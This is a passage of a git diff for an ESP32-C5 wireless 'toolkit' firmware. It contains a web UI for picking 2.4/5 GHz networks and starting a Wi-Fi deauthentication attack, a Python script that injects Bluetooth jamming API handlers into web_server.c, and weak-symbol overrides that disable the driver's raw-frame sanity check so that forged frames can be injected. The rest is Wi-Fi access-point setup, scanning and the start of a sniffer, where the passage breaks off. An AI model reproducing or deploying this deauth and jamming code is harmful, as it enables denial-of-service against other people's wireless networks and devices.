"async function scanNetworks(){"
|
||||
"document.getElementById('scan-status').textContent='Scanning...';"
|
||||
"document.getElementById('networks').innerHTML='<p>Scanning...</p>';"
|
||||
"try{"
|
||||
"const res=await fetch('/api/scan');"
|
||||
"const data=await res.json();"
|
||||
"networks=data.networks;"
|
||||
"document.getElementById('scan-status').textContent='Found '+data.count;"
|
||||
"renderNetworks();"
|
||||
"updateChannelGraph(networks);"
|
||||
"}catch(e){document.getElementById('scan-status').textContent='Error';}}"
|
||||
|
||||
"function renderNetworks(){"
|
||||
"let html='';"
|
||||
"networks.forEach((n,i)=>{"
|
||||
"let cls='network';"
|
||||
"if(target24&&target24.bssid===n.bssid)cls+=' selected-24';"
|
||||
"if(target5&&target5.bssid===n.bssid)cls+=' selected-5';"
|
||||
"html+='<div class=\"'+cls+'\" onclick=\"selectNetwork('+i+')\">';"
|
||||
"html+='<span class=\"ssid\">'+n.ssid+'</span> ';"
|
||||
"html+='<span class=\"info\">CH:'+n.channel+' '+n.rssi+'dBm <span class=\"'+(n.channel<=14?'band-24':'band-5')+'\">'+n.band+'</span> '+n.security+'</span>';"
|
||||
"html+='</div>';});"
|
||||
"document.getElementById('networks').innerHTML=html||'No networks';}"
|
||||
|
||||
"function selectNetwork(i){const n=networks[i];if(n.channel<=14){target24=n;document.getElementById('t24-name').textContent=n.ssid;}else{target5=n;document.getElementById('t5-name').textContent=n.ssid;}renderNetworks();}"
|
||||
|
||||
"function clearTargets(){target24=null;target5=null;document.getElementById('t24-name').textContent='None';document.getElementById('t5-name').textContent='None';renderNetworks();}"
|
||||
|
||||
"async function startDeauth(){"
|
||||
"if(!target24&&!target5){alert('Select target first!');return;}"
|
||||
"const dur=document.getElementById('duration').value;"
|
||||
"if(!confirm('Start attack for '+dur+'s?\\nWiFi will be offline!'))return;"
|
||||
"const body={duration:parseInt(dur)};"
|
||||
"if(target24)body.target_24ghz={ssid:target24.ssid,bssid:target24.bssid,channel:target24.channel};"
|
||||
"if(target5)body.target_5ghz={ssid:target5.ssid,bssid:target5.bssid,channel:target5.channel};"
|
||||
"try{await fetch('/api/deauth/start',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(body)});"
|
||||
"document.getElementById('deauth-status').innerHTML='<span class=\"attack-running\">ATTACKING!</span>';}"
|
||||
"catch(e){document.getElementById('deauth-status').textContent='Error';}}"
|
||||
|
||||
"async function stopDeauth(){await fetch('/api/deauth/stop');document.getElementById('deauth-status').textContent='Stopped';}"
|
||||
|
||||
"async function loadSysInfo(){try{const r=await fetch('/api/system-info');const d=await r.json();"
|
||||
"let h='<b>'+d.chip+'</b> Rev:'+d.revision+' | Temp:<b>'+d.temp+'°C</b> | Heap:'+(d.heap/1024).toFixed(0)+'KB<br>';"
|
||||
"h+='MAC:'+d.mac+' | '+d.features+' | v'+d.version;"
|
||||
"if(d.attacking)h+='<br><span class=\"attack-running\">⚡ ATTACKING</span> Pkts:'+d.packets_total;"
|
||||
"document.getElementById('sysinfo').innerHTML=h;}catch(e){}}"
|
||||
|
||||
"let btScanInterval=null;"
|
||||
"async function startBtScan(){"
|
||||
"document.getElementById('bt-scan-status').textContent='Starting scan...';"
|
||||
"document.getElementById('bt-devices').innerHTML='<p>Scanning...</p>';"
|
||||
"try{"
|
||||
"const res=await fetch('/api/bt/scan/start');"
|
||||
"const data=await res.json();"
|
||||
"if(data.status==='ok'){"
|
||||
"document.getElementById('bt-scan-status').textContent='Scanning...';"
|
||||
"btScanInterval=setInterval(updateBtDevices,2000);"
|
||||
"updateBtDevices();"
|
||||
"}else{document.getElementById('bt-scan-status').textContent='Error: '+data.message;}"
|
||||
"}catch(e){document.getElementById('bt-scan-status').textContent='Error';}}"
|
||||
|
||||
"async function stopBtScan(){"
|
||||
"if(btScanInterval){clearInterval(btScanInterval);btScanInterval=null;}"
|
||||
"try{await fetch('/api/bt/scan/stop');"
|
||||
"document.getElementById('bt-scan-status').textContent='Stopped';"
|
||||
"}catch(e){}}"
|
||||
|
||||
"async function updateBtDevices(){"
|
||||
"try{"
|
||||
"const res=await fetch('/api/bt/devices');"
|
||||
"const data=await res.json();"
|
||||
"let html='';"
|
||||
"if(data.devices&&data.devices.length>0){"
|
||||
"data.devices.forEach(dev=>{"
|
||||
"html+='<div class=\"network\">';"
|
||||
"html+='<span class=\"ssid\">'+(dev.name||'Unknown')+'</span> ';"
|
||||
"html+='<span class=\"info\">'+dev.addr+' '+dev.rssi+'dBm <span class=\"band-24\">'+dev.type+'</span></span>';"
|
||||
"html+='</div>';"
|
||||
"});"
|
||||
"}else{html='<p>No devices found</p>';}"
|
||||
"document.getElementById('bt-devices').innerHTML=html;"
|
||||
"document.getElementById('bt-scan-status').textContent='Found '+data.count+' devices';"
|
||||
"}catch(e){document.getElementById('bt-scan-status').textContent='Error loading devices';}}"
|
||||
|
||||
"initGraphs();loadSysInfo();setInterval(loadSysInfo,5000);"
|
||||
"</script>"
|
||||
"</body></html>";
|
||||
|
||||
return html;
|
||||
}
|
||||
206
ESP32-C5-Toolkit/main/update_web_server.py
Normal file
206
ESP32-C5-Toolkit/main/update_web_server.py
Normal file
@@ -0,0 +1,206 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Update web_server.c with enhanced UI and add Bluetooth/advanced API endpoints
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
# Read the enhanced UI C string
|
||||
with open('enhanced_ui_c_string.txt', 'r') as f:
|
||||
enhanced_html = f.read()
|
||||
|
||||
# Read current web_server.c
|
||||
with open('web_server.c', 'r') as f:
|
||||
web_server_content = f.read()
|
||||
|
||||
# Find the HTML section (from "static const char index_html[]" to "</html>";)
|
||||
pattern = r'(static const char index_html\[\] = ).*?("</html>";)'
|
||||
match = re.search(pattern, web_server_content, re.DOTALL)
|
||||
|
||||
if match:
|
||||
# Replace the HTML section
|
||||
# Extract the enhanced HTML (remove the "static const char index_html[] = " part from our file)
|
||||
enhanced_html_clean = enhanced_html.replace('static const char index_html[] = \\\n', '').rstrip(';')
|
||||
|
||||
# Replace in web_server.c
|
||||
new_content = web_server_content[:match.start()] + enhanced_html_clean + ';' + web_server_content[match.end():]
|
||||
|
||||
# Add Bluetooth API handlers before the register_uri_handlers function
|
||||
bt_handlers = '''
|
||||
// Bluetooth API handlers
|
||||
static esp_err_t api_bt_scan_start_handler(httpd_req_t *req) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
bool success = bt_scan_start();
|
||||
if (success) {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"success\\",\\"message\\":\\"BT scan started\\"}");
|
||||
} else {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Failed to start BT scan\\"}");
|
||||
}
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t api_bt_scan_stop_handler(httpd_req_t *req) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
bool success = bt_scan_stop();
|
||||
if (success) {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"success\\",\\"message\\":\\"BT scan stopped\\"}");
|
||||
} else {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Failed to stop BT scan\\"}");
|
||||
}
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t api_bt_devices_handler(httpd_req_t *req) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
bt_device_t devices[50];
|
||||
int count = bt_get_devices(devices, 50);
|
||||
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
cJSON *devices_array = cJSON_AddArrayToObject(root, "devices");
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
cJSON *device = cJSON_CreateObject();
|
||||
cJSON_AddStringToObject(device, "name", devices[i].name);
|
||||
char addr_str[18];
|
||||
snprintf(addr_str, sizeof(addr_str), "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
devices[i].addr[0], devices[i].addr[1], devices[i].addr[2],
|
||||
devices[i].addr[3], devices[i].addr[4], devices[i].addr[5]);
|
||||
cJSON_AddStringToObject(device, "addr", addr_str);
|
||||
cJSON_AddNumberToObject(device, "rssi", devices[i].rssi);
|
||||
cJSON_AddNumberToObject(device, "type", devices[i].adv_type);
|
||||
cJSON_AddItemToArray(devices_array, device);
|
||||
}
|
||||
|
||||
char *json_response = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_sendstr(req, json_response);
|
||||
free(json_response);
|
||||
cJSON_Delete(root);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t api_bt_jam_start_handler(httpd_req_t *req) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
char buf[256];
|
||||
int ret = httpd_req_recv(req, buf, sizeof(buf)-1);
|
||||
if (ret <= 0) {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"No data\\"}");
|
||||
return ESP_FAIL;
|
||||
}
|
||||
buf[ret] = 0;
|
||||
|
||||
cJSON *root = cJSON_Parse(buf);
|
||||
if (!root) {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Bad JSON\\"}");
|
||||
return ESP_FAIL;
|
||||
}
|
||||
|
||||
uint8_t *target_addr = NULL;
|
||||
uint32_t duration = 30;
|
||||
|
||||
cJSON *target = cJSON_GetObjectItem(root, "target");
|
||||
if (target && cJSON_IsString(target)) {
|
||||
// Parse target address
|
||||
target_addr = malloc(6);
|
||||
if (target_addr) {
|
||||
sscanf(target->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&target_addr[0], &target_addr[1], &target_addr[2],
|
||||
&target_addr[3], &target_addr[4], &target_addr[5]);
|
||||
}
|
||||
}
|
||||
|
||||
cJSON *dur = cJSON_GetObjectItem(root, "duration");
|
||||
if (dur && cJSON_IsNumber(dur)) {
|
||||
duration = (uint32_t)dur->valueint;
|
||||
}
|
||||
|
||||
bool success = bt_jam_start(target_addr, duration);
|
||||
if (target_addr) free(target_addr);
|
||||
|
||||
cJSON_Delete(root);
|
||||
|
||||
if (success) {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"success\\",\\"message\\":\\"BT jamming started\\"}");
|
||||
} else {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Failed to start jamming\\"}");
|
||||
}
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t api_bt_jam_stop_handler(httpd_req_t *req) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
bool success = bt_jam_stop();
|
||||
if (success) {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"success\\",\\"message\\":\\"BT jamming stopped\\"}");
|
||||
} else {
|
||||
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Jamming not active\\"}");
|
||||
}
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
'''
|
||||
|
||||
# Insert BT handlers before register_uri_handlers
|
||||
register_pattern = r'(// Register URI handlers|esp_err_t register_uri_handlers)'
|
||||
register_match = re.search(register_pattern, new_content)
|
||||
if register_match:
|
||||
new_content = new_content[:register_match.start()] + bt_handlers + new_content[register_match.start():]
|
||||
|
||||
# Add BT URI registrations in register_uri_handlers function
|
||||
bt_registrations = '''
|
||||
// Register Bluetooth endpoints
|
||||
httpd_uri_t bt_scan_start_uri = {
|
||||
.uri = "/api/bt/scan/start",
|
||||
.method = HTTP_GET,
|
||||
.handler = api_bt_scan_start_handler,
|
||||
.user_ctx = NULL
|
||||
};
|
||||
httpd_register_uri_handler(server, &bt_scan_start_uri);
|
||||
|
||||
httpd_uri_t bt_scan_stop_uri = {
|
||||
.uri = "/api/bt/scan/stop",
|
||||
.method = HTTP_GET,
|
||||
.handler = api_bt_scan_stop_handler,
|
||||
.user_ctx = NULL
|
||||
};
|
||||
httpd_register_uri_handler(server, &bt_scan_stop_uri);
|
||||
|
||||
httpd_uri_t bt_devices_uri = {
|
||||
.uri = "/api/bt/devices",
|
||||
.method = HTTP_GET,
|
||||
.handler = api_bt_devices_handler,
|
||||
.user_ctx = NULL
|
||||
};
|
||||
httpd_register_uri_handler(server, &bt_devices_uri);
|
||||
|
||||
httpd_uri_t bt_jam_start_uri = {
|
||||
.uri = "/api/bt/jam/start",
|
||||
.method = HTTP_POST,
|
||||
.handler = api_bt_jam_start_handler,
|
||||
.user_ctx = NULL
|
||||
};
|
||||
httpd_register_uri_handler(server, &bt_jam_start_uri);
|
||||
|
||||
httpd_uri_t bt_jam_stop_uri = {
|
||||
.uri = "/api/bt/jam/stop",
|
||||
.method = HTTP_GET,
|
||||
.handler = api_bt_jam_stop_handler,
|
||||
.user_ctx = NULL
|
||||
};
|
||||
httpd_register_uri_handler(server, &bt_jam_stop_uri);
|
||||
|
||||
'''
|
||||
|
||||
# Find where to insert BT registrations (after deauth registrations)
|
||||
deauth_reg_pattern = r'(httpd_register_uri_handler\(server, &deauth_status_uri\);|// Register reboot endpoint)'
|
||||
deauth_reg_match = re.search(deauth_reg_pattern, new_content)
|
||||
if deauth_reg_match:
|
||||
new_content = new_content[:deauth_reg_match.start()] + bt_registrations + new_content[deauth_reg_match.start():]
|
||||
|
||||
# Write updated file
|
||||
with open('web_server.c', 'w') as f:
|
||||
f.write(new_content)
|
||||
|
||||
print("Updated web_server.c with enhanced UI and Bluetooth APIs")
|
||||
print("Added Bluetooth scan, devices, and jamming endpoints")
|
||||
else:
|
||||
print("ERROR: Could not find HTML section in web_server.c")
|
||||
2715
ESP32-C5-Toolkit/main/web_server.c
Normal file
2715
ESP32-C5-Toolkit/main/web_server.c
Normal file
File diff suppressed because it is too large
Load Diff
15
ESP32-C5-Toolkit/main/web_server.h
Normal file
15
ESP32-C5-Toolkit/main/web_server.h
Normal file
@@ -0,0 +1,15 @@
|
||||
#ifndef WEB_SERVER_H
|
||||
#define WEB_SERVER_H
|
||||
|
||||
#include "esp_http_server.h"
|
||||
|
||||
// Initialize the web server
|
||||
void init_web_server(void);
|
||||
|
||||
// Start the HTTP server
|
||||
httpd_handle_t start_webserver(void);
|
||||
|
||||
// Stop the HTTP server
|
||||
void stop_webserver(void);
|
||||
|
||||
#endif /* WEB_SERVER_H */
|
||||
123
ESP32-C5-Toolkit/main/wifi_init.c
Normal file
123
ESP32-C5-Toolkit/main/wifi_init.c
Normal file
@@ -0,0 +1,123 @@
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "board_config.h"
|
||||
|
||||
// Define MACSTR and MAC2STR if not already defined
|
||||
#ifndef MAC2STR
|
||||
#define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5]
|
||||
#define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x"
|
||||
#endif
|
||||
|
||||
static const char *TAG = "wifi_init";
|
||||
|
||||
// Core frame bypass functions - use weak symbols to override library functions
|
||||
__attribute__((weak))
|
||||
int ieee80211_raw_frame_sanity_check(void* frame_ctrl, int32_t frame_len, int32_t ampdu_flag) {
|
||||
// Always allow frame to pass the sanity check
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((weak))
|
||||
bool ieee80211_is_frame_type_supported(uint8_t frame_type) {
|
||||
// Support all frame types for packet sniffing
|
||||
return true;
|
||||
}
|
||||
|
||||
__attribute__((weak))
|
||||
int ieee80211_handle_frame_type(void* frame_ctrl, uint32_t* dport) {
|
||||
// Allow all frame types
|
||||
return 0;
|
||||
}
|
||||
|
||||
// WiFi event handler
|
||||
static void wifi_event_handler(void* arg, esp_event_base_t event_base,
|
||||
int32_t event_id, void* event_data) {
|
||||
if (event_base == WIFI_EVENT) {
|
||||
switch (event_id) {
|
||||
case WIFI_EVENT_AP_START:
|
||||
ESP_LOGI(TAG, "✓✓✓ WiFi AP STARTED - SSID 'ESP32-C5-Toolkit' is now visible ✓✓✓");
|
||||
break;
|
||||
case WIFI_EVENT_AP_STOP:
|
||||
ESP_LOGW(TAG, "WiFi AP STOPPED");
|
||||
break;
|
||||
case WIFI_EVENT_AP_STACONNECTED:
|
||||
{
|
||||
wifi_event_ap_staconnected_t* event = (wifi_event_ap_staconnected_t*) event_data;
|
||||
ESP_LOGI(TAG, "Station "MACSTR" joined, AID=%d",
|
||||
MAC2STR(event->mac), event->aid);
|
||||
}
|
||||
break;
|
||||
case WIFI_EVENT_AP_STADISCONNECTED:
|
||||
{
|
||||
wifi_event_ap_stadisconnected_t* event = (wifi_event_ap_stadisconnected_t*) event_data;
|
||||
ESP_LOGI(TAG, "Station "MACSTR" left, AID=%d",
|
||||
MAC2STR(event->mac), event->aid);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Initialize WiFi in AP+STA mode (copied from working WiFi-Scanner project)
|
||||
void wifi_init_ap(void) {
|
||||
// Initialize network interface
|
||||
ESP_ERROR_CHECK(esp_netif_init());
|
||||
|
||||
// Create default event loop
|
||||
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
||||
|
||||
// IMPORTANT: Create BOTH STA and AP network interfaces
|
||||
// This is required for APSTA mode to work properly
|
||||
esp_netif_create_default_wifi_sta();
|
||||
esp_netif_t *ap_netif = esp_netif_create_default_wifi_ap();
|
||||
|
||||
if (ap_netif == NULL) {
|
||||
ESP_LOGE(TAG, "Failed to create AP netif!");
|
||||
return;
|
||||
}
|
||||
|
||||
// Initialize WiFi with default config
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||
|
||||
// Register event handler
|
||||
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, ESP_EVENT_ANY_ID,
|
||||
&wifi_event_handler, NULL));
|
||||
|
||||
// Configure AP settings
|
||||
wifi_config_t wifi_config = {
|
||||
.ap = {
|
||||
.ssid = "ESP32-C5-Toolkit",
|
||||
.password = "h4ck3rm4n",
|
||||
.ssid_len = strlen("ESP32-C5-Toolkit"),
|
||||
.channel = 1,
|
||||
.authmode = WIFI_AUTH_WPA2_PSK,
|
||||
.max_connection = 4,
|
||||
},
|
||||
};
|
||||
|
||||
// Set WiFi to AP+Station mode (required for scanning while serving AP)
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_config));
|
||||
ESP_ERROR_CHECK(esp_wifi_start());
|
||||
|
||||
// Get and log the AP IP address (after WiFi starts)
|
||||
esp_netif_ip_info_t ip_info;
|
||||
esp_err_t ret = esp_netif_get_ip_info(ap_netif, &ip_info);
|
||||
if (ret == ESP_OK) {
|
||||
ESP_LOGI(TAG, "AP IP Address: " IPSTR, IP2STR(&ip_info.ip));
|
||||
} else {
|
||||
ESP_LOGI(TAG, "AP IP Address: 192.168.4.1 (default)");
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Wi-Fi AP+STA Started: SSID=ESP32-C5-Toolkit");
|
||||
ESP_LOGI(TAG, "Web interface available at: http://192.168.4.1");
|
||||
}
|
||||
7
ESP32-C5-Toolkit/main/wifi_init.h
Normal file
7
ESP32-C5-Toolkit/main/wifi_init.h
Normal file
@@ -0,0 +1,7 @@
|
||||
#ifndef WIFI_INIT_H
|
||||
#define WIFI_INIT_H
|
||||
|
||||
// Initialize WiFi in AP mode
|
||||
void wifi_init_ap(void);
|
||||
|
||||
#endif /* WIFI_INIT_H */
|
||||
213
ESP32-C5-Toolkit/main/wifi_scan.c
Normal file
213
ESP32-C5-Toolkit/main/wifi_scan.c
Normal file
@@ -0,0 +1,213 @@
|
||||
#include "wifi_scan.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "cJSON.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define TAG "wifi_scan"
|
||||
#define MAX_NETWORKS 100
|
||||
#define MAX_JSON_SIZE 16384
|
||||
|
||||
// Static buffer for JSON results
|
||||
static char scan_results_json[MAX_JSON_SIZE];
|
||||
static int network_count = 0;
|
||||
|
||||
// Helper function to get security type string
|
||||
static const char* get_security_type(wifi_auth_mode_t authmode) {
|
||||
switch (authmode) {
|
||||
case WIFI_AUTH_OPEN:
|
||||
return "Open";
|
||||
case WIFI_AUTH_WEP:
|
||||
return "WEP";
|
||||
case WIFI_AUTH_WPA_PSK:
|
||||
return "WPA PSK";
|
||||
case WIFI_AUTH_WPA2_PSK:
|
||||
return "WPA2 PSK";
|
||||
case WIFI_AUTH_WPA_WPA2_PSK:
|
||||
return "WPA/WPA2 PSK";
|
||||
case WIFI_AUTH_WPA3_PSK:
|
||||
return "WPA3 PSK";
|
||||
case WIFI_AUTH_WPA2_WPA3_PSK:
|
||||
return "WPA2/WPA3 PSK";
|
||||
default:
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
// Helper function to determine band from channel
|
||||
static const char* get_band(uint8_t channel) {
|
||||
if (channel >= 1 && channel <= 13) {
|
||||
return "2.4GHz";
|
||||
}
|
||||
if ((channel >= 36 && channel <= 144) || (channel >= 149 && channel <= 165)) {
|
||||
return "5GHz";
|
||||
}
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
// Helper function to get PHY mode string
|
||||
static const char* get_phy_mode(const wifi_ap_record_t *ap) {
|
||||
if (ap->phy_11n) {
|
||||
return "802.11n";
|
||||
}
|
||||
if (ap->primary > 14) {
|
||||
return "802.11a";
|
||||
}
|
||||
return "802.11b/g";
|
||||
}
|
||||
|
||||
int wifi_scan_networks(void) {
|
||||
ESP_LOGI(TAG, "Starting dual-band WiFi scan...");
|
||||
|
||||
// Clear previous results
|
||||
network_count = 0;
|
||||
scan_results_json[0] = '\0';
|
||||
|
||||
// Configure scan
|
||||
wifi_scan_config_t scan_config = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0, // Scan all channels
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time.active.min = 50,
|
||||
.scan_time.active.max = 100,
|
||||
.scan_time.passive = 100
|
||||
};
|
||||
|
||||
// Start scan
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_config, true);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Get number of APs found
|
||||
uint16_t ap_count = 0;
|
||||
err = esp_wifi_scan_get_ap_num(&ap_count);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Failed to get AP count: %s", esp_err_to_name(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (ap_count == 0) {
|
||||
ESP_LOGI(TAG, "No networks found");
|
||||
strcpy(scan_results_json, "[]");
|
||||
network_count = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Limit to MAX_NETWORKS
|
||||
if (ap_count > MAX_NETWORKS) {
|
||||
ap_count = MAX_NETWORKS;
|
||||
}
|
||||
|
||||
// Allocate memory for AP records
|
||||
wifi_ap_record_t *ap_records = malloc(sizeof(wifi_ap_record_t) * ap_count);
|
||||
if (!ap_records) {
|
||||
ESP_LOGE(TAG, "Failed to allocate memory for scan results");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Get AP records
|
||||
err = esp_wifi_scan_get_ap_records(&ap_count, ap_records);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Failed to get AP records: %s", esp_err_to_name(err));
|
||||
free(ap_records);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Create JSON array
|
||||
cJSON *networks_array = cJSON_CreateArray();
|
||||
if (!networks_array) {
|
||||
ESP_LOGE(TAG, "Failed to create JSON array");
|
||||
free(ap_records);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Process each network
|
||||
for (int i = 0; i < ap_count; i++) {
|
||||
cJSON *network = cJSON_CreateObject();
|
||||
if (!network) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// SSID (handle hidden networks)
|
||||
const char *ssid_str = (ap_records[i].ssid[0] == 0) ? "(hidden)" : (char*)ap_records[i].ssid;
|
||||
cJSON_AddStringToObject(network, "ssid", ssid_str);
|
||||
|
||||
// BSSID
|
||||
char bssid_str[18];
|
||||
snprintf(bssid_str, sizeof(bssid_str), "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
ap_records[i].bssid[0], ap_records[i].bssid[1], ap_records[i].bssid[2],
|
||||
ap_records[i].bssid[3], ap_records[i].bssid[4], ap_records[i].bssid[5]);
|
||||
cJSON_AddStringToObject(network, "bssid", bssid_str);
|
||||
|
||||
// Channel
|
||||
cJSON_AddNumberToObject(network, "channel", ap_records[i].primary);
|
||||
|
||||
// Band
|
||||
cJSON_AddStringToObject(network, "band", get_band(ap_records[i].primary));
|
||||
|
||||
// RSSI
|
||||
cJSON_AddNumberToObject(network, "rssi", ap_records[i].rssi);
|
||||
|
||||
// Security
|
||||
cJSON_AddStringToObject(network, "security", get_security_type(ap_records[i].authmode));
|
||||
|
||||
// PHY mode
|
||||
cJSON_AddStringToObject(network, "phy_mode", get_phy_mode(&ap_records[i]));
|
||||
|
||||
// Second channel (if using 40MHz)
|
||||
if (ap_records[i].second) {
|
||||
cJSON_AddNumberToObject(network, "second_channel", ap_records[i].second);
|
||||
}
|
||||
|
||||
// Hidden network flag
|
||||
cJSON_AddBoolToObject(network, "is_hidden", (ap_records[i].ssid[0] == 0));
|
||||
|
||||
cJSON_AddItemToArray(networks_array, network);
|
||||
}
|
||||
|
||||
// Generate JSON string
|
||||
char *json_string = cJSON_PrintUnformatted(networks_array);
|
||||
if (json_string) {
|
||||
size_t json_len = strlen(json_string);
|
||||
|
||||
// Check if JSON is too large and warn
|
||||
if (json_len >= MAX_JSON_SIZE) {
|
||||
ESP_LOGW(TAG, "JSON too large (%zu >= %d), truncating", json_len, MAX_JSON_SIZE);
|
||||
}
|
||||
|
||||
// Safe copy to static buffer with guaranteed null termination
|
||||
size_t copy_len = (json_len < MAX_JSON_SIZE - 1) ? json_len : MAX_JSON_SIZE - 1;
|
||||
memcpy(scan_results_json, json_string, copy_len);
|
||||
scan_results_json[copy_len] = '\0';
|
||||
|
||||
free(json_string);
|
||||
network_count = ap_count;
|
||||
} else {
|
||||
ESP_LOGE(TAG, "Failed to generate JSON string");
|
||||
cJSON_Delete(networks_array);
|
||||
free(ap_records);
|
||||
return -1;
|
||||
}
|
||||
|
||||
cJSON_Delete(networks_array);
|
||||
free(ap_records);
|
||||
|
||||
ESP_LOGI(TAG, "Scan completed, found %d networks", network_count);
|
||||
return 0;
|
||||
}
|
||||
|
||||
const char* wifi_scan_get_results_json(void) {
|
||||
if (network_count == 0 && scan_results_json[0] == '\0') {
|
||||
return "[]";
|
||||
}
|
||||
return scan_results_json;
|
||||
}
|
||||
|
||||
int wifi_scan_get_count(void) {
|
||||
return network_count;
|
||||
}
|
||||
33
ESP32-C5-Toolkit/main/wifi_scan.h
Normal file
33
ESP32-C5-Toolkit/main/wifi_scan.h
Normal file
@@ -0,0 +1,33 @@
|
||||
#ifndef WIFI_SCAN_H
|
||||
#define WIFI_SCAN_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
/**
|
||||
* @brief Perform WiFi network scan (dual-band)
|
||||
*
|
||||
* Scans both 2.4GHz and 5GHz bands for available networks.
|
||||
* Results are stored internally and can be retrieved via wifi_scan_get_results_json()
|
||||
*
|
||||
* @return 0 on success, negative error code on failure
|
||||
*/
|
||||
int wifi_scan_networks(void);
|
||||
|
||||
/**
|
||||
* @brief Get scan results as JSON string
|
||||
*
|
||||
* Returns the last scan results in JSON format.
|
||||
* The returned string is valid until the next scan is performed.
|
||||
*
|
||||
* @return JSON string with network information, or NULL on error
|
||||
*/
|
||||
const char* wifi_scan_get_results_json(void);
|
||||
|
||||
/**
|
||||
* @brief Get number of networks found in last scan
|
||||
*
|
||||
* @return Number of networks found
|
||||
*/
|
||||
int wifi_scan_get_count(void);
|
||||
|
||||
#endif /* WIFI_SCAN_H */
|
||||
395
ESP32-C5-Toolkit/main/wifi_sniffer.c
Normal file
395
ESP32-C5-Toolkit/main/wifi_sniffer.c
Normal file
@@ -0,0 +1,395 @@
|
||||
#include "wifi_sniffer.h"
|
||||
#include "signal_analysis.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_system.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/queue.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static const char *TAG = "wifi_sniffer";
|
||||
|
||||
// Maximum number of packets to store
|
||||
#define MAX_PACKETS_QUEUE 32
|
||||
#define MAX_PACKET_SIZE 1024
|
||||
|
||||
// Structure to hold packet info
|
||||
typedef struct {
|
||||
uint8_t data[MAX_PACKET_SIZE];
|
||||
uint16_t length;
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
wifi_pkt_rx_ctrl_t rx_ctrl;
|
||||
} packet_info_t;
|
||||
|
||||
// Global variables
|
||||
static QueueHandle_t packet_queue = NULL;
|
||||
static SemaphoreHandle_t sniffer_running_mutex = NULL;
|
||||
static volatile bool is_sniffer_running = false;
|
||||
static uint8_t current_channel = 0;
|
||||
static uint8_t current_filter = 0;
|
||||
static TaskHandle_t channel_hopper_task_handle = NULL;
|
||||
